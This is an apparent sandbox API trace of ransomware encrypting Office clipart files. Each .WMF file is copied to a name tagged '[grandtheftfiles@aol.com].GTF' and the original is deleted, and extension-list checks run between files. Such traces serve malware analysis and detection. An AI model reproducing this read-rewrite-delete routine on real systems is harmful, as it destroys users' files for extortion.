	[0089.424] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.424] lstrlenW (lpString="HH02313_.WMF") returned 12
	[0089.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.424] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=3082) returned 1
	[0089.424] CloseHandle (hObject=0x368) returned 1
	[0089.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x220
	[0089.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.424] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.424] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0089.425] GetLastError () returned 0x0
	[0089.425] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xc0a, lpOverlapped=0x0) returned 1
	[0089.432] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xc10, lpOverlapped=0x0) returned 1
	[0089.433] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.433] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.433] SetEndOfFile (hFile=0x334) returned 1
	[0089.433] CloseHandle (hObject=0x334) returned 1
	[0089.434] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.434] SetEndOfFile (hFile=0x368) returned 1
	[0089.434] CloseHandle (hObject=0x368) returned 1
	[0089.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1
	[0089.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0089.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0089.435] lstrlenW (lpString=".doc") returned 4
	[0089.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.435] lstrlenW (lpString=".docx") returned 5
	[0089.435] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.435] lstrlenW (lpString=".pdf") returned 4
	[0089.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.435] lstrlenW (lpString=".xls") returned 4
	[0089.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.435] lstrlenW (lpString=".xlsx") returned 5
	[0089.435] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.435] lstrlenW (lpString=".ppt") returned 4
	[0089.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0089.435] lstrlenW (lpString=".zip") returned 4
	[0089.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.435] lstrlenW (lpString=".rar") returned 4
	[0089.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.435] lstrlenW (lpString=".bz2") returned 4
	[0089.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.435] lstrlenW (lpString=".7z") returned 3
	[0089.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0089.436] lstrlenW (lpString=".dbf") returned 4
	[0089.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0089.436] lstrlenW (lpString=".1cd") returned 4
	[0089.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0089.436] lstrlenW (lpString=".jpg") returned 4
	[0089.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0089.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0089.436] lstrlenW (lpString=".doc") returned 4
	[0089.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.436] lstrlenW (lpString=".docx") returned 5
	[0089.436] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.436] lstrlenW (lpString=".pdf") returned 4
	[0089.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.436] lstrlenW (lpString=".xls") returned 4
	[0089.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.436] lstrlenW (lpString=".xlsx") returned 5
	[0089.436] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.436] lstrlenW (lpString=".ppt") returned 4
	[0089.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0089.436] lstrlenW (lpString=".zip") returned 4
	[0089.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.436] lstrlenW (lpString=".rar") returned 4
	[0089.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.436] lstrlenW (lpString=".bz2") returned 4
	[0089.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.436] lstrlenW (lpString=".7z") returned 3
	[0089.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0089.437] lstrlenW (lpString=".dbf") returned 4
	[0089.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0089.437] lstrlenW (lpString=".1cd") returned 4
	[0089.437] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0089.437] lstrlenW (lpString=".jpg") returned 4
	[0089.437] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.437] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.437] lstrlenW (lpString="HM00005_.WMF") returned 12
	[0089.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.437] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=23300) returned 1
	[0089.437] CloseHandle (hObject=0x368) returned 1
	[0089.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x220
	[0089.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.438] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.438] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0089.438] GetLastError () returned 0x0
	[0089.438] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x5b04, lpOverlapped=0x0) returned 1
	[0089.440] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x5b10, lpOverlapped=0x0) returned 1
	[0089.441] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.442] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.442] SetEndOfFile (hFile=0x334) returned 1
	[0089.442] CloseHandle (hObject=0x334) returned 1
	[0089.442] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.442] SetEndOfFile (hFile=0x368) returned 1
	[0089.443] CloseHandle (hObject=0x368) returned 1
	[0089.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1
	[0089.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0089.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0089.443] lstrlenW (lpString=".doc") returned 4
	[0089.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.444] lstrlenW (lpString=".docx") returned 5
	[0089.444] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.444] lstrlenW (lpString=".pdf") returned 4
	[0089.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.444] lstrlenW (lpString=".xls") returned 4
	[0089.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.444] lstrlenW (lpString=".xlsx") returned 5
	[0089.444] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.444] lstrlenW (lpString=".ppt") returned 4
	[0089.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0089.444] lstrlenW (lpString=".zip") returned 4
	[0089.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.444] lstrlenW (lpString=".rar") returned 4
	[0089.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.444] lstrlenW (lpString=".bz2") returned 4
	[0089.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.444] lstrlenW (lpString=".7z") returned 3
	[0089.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0089.444] lstrlenW (lpString=".dbf") returned 4
	[0089.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0089.444] lstrlenW (lpString=".1cd") returned 4
	[0089.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0089.444] lstrlenW (lpString=".jpg") returned 4
	[0089.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0089.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0089.444] lstrlenW (lpString=".doc") returned 4
	[0089.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.444] lstrlenW (lpString=".docx") returned 5
	[0089.445] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.445] lstrlenW (lpString=".pdf") returned 4
	[0089.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.445] lstrlenW (lpString=".xls") returned 4
	[0089.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.445] lstrlenW (lpString=".xlsx") returned 5
	[0089.445] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.445] lstrlenW (lpString=".ppt") returned 4
	[0089.445] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0089.445] lstrlenW (lpString=".zip") returned 4
	[0089.445] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.445] lstrlenW (lpString=".rar") returned 4
	[0089.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.445] lstrlenW (lpString=".bz2") returned 4
	[0089.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.445] lstrlenW (lpString=".7z") returned 3
	[0089.445] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0089.445] lstrlenW (lpString=".dbf") returned 4
	[0089.445] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0089.445] lstrlenW (lpString=".1cd") returned 4
	[0089.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68
	[0089.445] lstrlenW (lpString=".jpg") returned 4
	[0089.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.445] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.445] lstrlenW (lpString="HM00114_.WMF") returned 12
	[0089.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.446] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=22116) returned 1
	[0089.446] CloseHandle (hObject=0x368) returned 1
	[0089.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x220
	[0089.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.447] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.447] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0089.447] GetLastError () returned 0x0
	[0089.447] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x5664, lpOverlapped=0x0) returned 1
	[0089.449] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x5670, lpOverlapped=0x0) returned 1
	[0089.450] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.450] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.451] SetEndOfFile (hFile=0x334) returned 1
	[0089.451] CloseHandle (hObject=0x334) returned 1
	[0089.451] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.451] SetEndOfFile (hFile=0x368) returned 1
	[0089.452] CloseHandle (hObject=0x368) returned 1
	[0089.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1
	[0089.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0089.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0089.452] lstrlenW (lpString=".doc") returned 4
	[0089.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.452] lstrlenW (lpString=".docx") returned 5
	[0089.452] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.452] lstrlenW (lpString=".pdf") returned 4
	[0089.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.452] lstrlenW (lpString=".xls") returned 4
	[0089.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.453] lstrlenW (lpString=".xlsx") returned 5
	[0089.453] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.453] lstrlenW (lpString=".ppt") returned 4
	[0089.453] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0089.453] lstrlenW (lpString=".zip") returned 4
	[0089.453] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.453] lstrlenW (lpString=".rar") returned 4
	[0089.453] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.453] lstrlenW (lpString=".bz2") returned 4
	[0089.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.453] lstrlenW (lpString=".7z") returned 3
	[0089.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0089.453] lstrlenW (lpString=".dbf") returned 4
	[0089.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0089.453] lstrlenW (lpString=".1cd") returned 4
	[0089.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0089.453] lstrlenW (lpString=".jpg") returned 4
	[0089.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0089.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0089.453] lstrlenW (lpString=".doc") returned 4
	[0089.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.453] lstrlenW (lpString=".docx") returned 5
	[0089.453] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.453] lstrlenW (lpString=".pdf") returned 4
	[0089.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.453] lstrlenW (lpString=".xls") returned 4
	[0089.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.454] lstrlenW (lpString=".xlsx") returned 5
	[0089.454] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.454] lstrlenW (lpString=".ppt") returned 4
	[0089.454] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0089.454] lstrlenW (lpString=".zip") returned 4
	[0089.454] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.454] lstrlenW (lpString=".rar") returned 4
	[0089.454] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.454] lstrlenW (lpString=".bz2") returned 4
	[0089.454] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.454] lstrlenW (lpString=".7z") returned 3
	[0089.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0089.454] lstrlenW (lpString=".dbf") returned 4
	[0089.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
	[0089.454] lstrlenW (lpString=".1cd") returned 4
	[0089.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68
